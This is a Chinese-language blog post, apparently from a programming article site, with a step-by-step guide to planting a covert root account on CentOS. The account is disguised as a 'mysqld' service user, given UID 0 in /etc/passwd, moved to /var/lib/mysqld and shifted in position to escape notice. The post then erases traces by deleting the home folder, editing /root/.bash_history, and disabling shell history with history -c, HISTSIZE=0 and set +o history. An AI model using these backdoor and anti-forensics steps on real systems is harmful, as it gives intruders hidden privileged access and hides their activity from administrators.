centos创建mysqld用户隐蔽位置

2024-04-09 05:18

本文主要是介绍centos创建mysqld用户隐蔽位置,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1、添加普通用户
[root@server ~]# useradd mysqld   //添加一个名为mysqld的用户或使用mysqls
[root@server ~]# passwd mysqld    //修改密码
Changing password for user mysqld.
New UNIX password:                   //在这里输入新密码
Retype new UNIX password:            //再次输入新密码
passwd: all authentication tokens updated successfully

2、创建新的用户目录
mkdir /var/lib/mysqld
chmod 777 /var/lib/mysqld
3、转移用户目录
转移两个关键文件.bash_profile和.bashrc
cp /home/mysqld/.bashrc  /var/lib/mysqld
cp /home/mysqld/.bash_profile   /var/lib/mysqld
4、赋予root权限
方法3):修改/etc/passwd文件,找到如下行,把用户ID修改为0,如下所示:
vi /etc/passwd
mysqld:x:1000:1001::/home/mysqld:/bin/bash
修改为
mysqld:x:0:1001::/var/lib/mysqld:/bin/bash
同时,可以打乱此行所在位置,上移一个或两个位置即可
修改后保存,用mysqld账户登录后,直接获取的就是root帐号的权限。
5、清理战场
使用新用户登录后,用Xftp直接删除/home/mysqld文件夹,用户目录
或使用命令 rm -rf /home/mysqld
删除root帐号操作历史
vi /root/.bash_history
按一下大写的G可以直接到达文件尾,找到刚才的操作记录都删除即可
:wq保存即可

history -c 将当前缓存中的历史记录清除后,退出

 注:             -c      清除历史记录
                     -a      将历史命令缓冲区命令记录到文件中

                     -w      将当前历史命令缓冲区命令记录到文件中

区别:

history -a   将history命令中所能看到的所有命令都追加入.bash_history文件中。
history -w   将未更新在.bash_history文件中的历史命令进行追加。

-------------------------------
禁用当前会话的历史记录(推荐使用)
在登录后执行下列命令,此会话不记录历史命令
export HISTSIZE=0

如果不想记录当前 会话操作的命令的话 可以使用命令
set +o history
但是这个命令有一个坏处, 他自己被记住了...

结束隐藏命令记录set -o history 

set -o history 命令不会被记录到历史中 

这篇关于centos创建mysqld用户隐蔽位置的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/887259

相关文章

最新Spring Security的基于内存用户认证方式

《最新SpringSecurity的基于内存用户认证方式》本文讲解SpringSecurity内存认证配置,适用于开发、测试等场景,通过代码创建用户及权限管理,支持密码加密,虽简单但不持久化,生产环... 目录1. 前言2. 因何选择内存认证?3. 基础配置实战❶ 创建Spring Security配置文件

IntelliJ IDEA2025创建SpringBoot项目的实现步骤

《IntelliJIDEA2025创建SpringBoot项目的实现步骤》本文主要介绍了IntelliJIDEA2025创建SpringBoot项目的实现步骤,文中通过示例代码介绍的非常详细,对大家... 目录一、创建 Spring Boot 项目1. 新建项目2. 基础配置3. 选择依赖4. 生成项目5.

Linux线程之线程的创建、属性、回收、退出、取消方式

《Linux线程之线程的创建、属性、回收、退出、取消方式》文章总结了线程管理核心知识:线程号唯一、创建方式、属性设置(如分离状态与栈大小)、回收机制(join/detach)、退出方法(返回/pthr... 目录1. 线程号2. 线程的创建3. 线程属性4. 线程的回收5. 线程的退出6. 线程的取消7.

创建Java keystore文件的完整指南及详细步骤

《创建Javakeystore文件的完整指南及详细步骤》本文详解Java中keystore的创建与配置,涵盖私钥管理、自签名与CA证书生成、SSL/TLS应用,强调安全存储及验证机制,确保通信加密和... 目录1. 秘密键(私钥)的理解与管理私钥的定义与重要性私钥的管理策略私钥的生成与存储2. 证书的创建与

springboot项目打jar制作成镜像并指定配置文件位置方式

《springboot项目打jar制作成镜像并指定配置文件位置方式》:本文主要介绍springboot项目打jar制作成镜像并指定配置文件位置方式,具有很好的参考价值,希望对大家有所帮助,如有错误... 目录一、上传jar到服务器二、编写dockerfile三、新建对应配置文件所存放的数据卷目录四、将配置文

python如何创建等差数列

《python如何创建等差数列》:本文主要介绍python如何创建等差数列的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录python创建等差数列例题运行代码回车输出结果总结python创建等差数列import numpy as np x=int(in

python3如何找到字典的下标index、获取list中指定元素的位置索引

《python3如何找到字典的下标index、获取list中指定元素的位置索引》:本文主要介绍python3如何找到字典的下标index、获取list中指定元素的位置索引问题,具有很好的参考价值,... 目录enumerate()找到字典的下标 index获取list中指定元素的位置索引总结enumerat

怎么用idea创建一个SpringBoot项目

《怎么用idea创建一个SpringBoot项目》本文介绍了在IDEA中创建SpringBoot项目的步骤,包括环境准备(JDK1.8+、Maven3.2.5+)、使用SpringInitializr... 目录如何在idea中创建一个SpringBoot项目环境准备1.1打开IDEA,点击New新建一个项

如何使用Maven创建web目录结构

《如何使用Maven创建web目录结构》:本文主要介绍如何使用Maven创建web目录结构的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录创建web工程第一步第二步第三步第四步第五步第六步第七步总结创建web工程第一步js通过Maven骨架创pytho

SpringSecurity显示用户账号已被锁定的原因及解决方案

《SpringSecurity显示用户账号已被锁定的原因及解决方案》SpringSecurity中用户账号被锁定问题源于UserDetails接口方法返回值错误,解决方案是修正isAccountNon... 目录SpringSecurity显示用户账号已被锁定的解决方案1.问题出现前的工作2.问题出现原因各